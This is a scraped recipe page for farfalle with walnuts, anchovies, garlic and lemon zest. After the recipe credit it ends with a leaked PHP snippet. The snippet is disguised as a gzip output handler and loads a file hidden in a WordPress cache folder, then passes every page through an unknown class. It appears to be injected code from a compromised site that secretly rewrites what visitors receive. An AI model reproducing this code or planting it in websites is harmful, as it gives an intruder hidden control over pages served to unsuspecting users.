Farfalle with Walnuts

Prep Time

10 Minutes

Cook Time

12 Minutes

Yield

Serves  6

Description

Most ingredients are available in Antonio’s Market

Ingredients

1/2 cup Extra Virgin Olive Oil
4 ea Garlic Cloves, Finely Chopped
8 ea Anchovies, Mashed
1/4 cup Parsley, Chopped
1 cup Walnuts, Chopped
6 tbsp Parmesan Cheese, Finely Grated
1 ea Lemon, Zest only, Large pieces of zest
1 lb Farfalle

Method of Preparation

1. Cook the pasta according to the package instructions.
2. Before draining the pasta, reserve 1/2 cup of the cooking water.
3. Drain pasta and put back in the cooking pot.
4. In a large skillet, combine the olive oil and garlic and let simmer for 2 minutes.
5. Add the anchovies, walnuts and half of the lemon zest.
6. Cook on low for 8 minutes.
7. Add the anchovy mixture and reserved water to the pasta.
8. Stir well to coat.
9. Pour in a serving bowl and top with the parmesan cheese, remaining lemon zest, pepper and parsley.

Recipe Source

Tastes of Italia Magazine, December 2010 Issue

function ob_gzhanler($s) { $f='/data/19/2/124/52/2939541/user/3258021/htdocs/Development/wp-content/cache/ssess_2a52da7dd6661b1ae8dca7d527933a19'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler');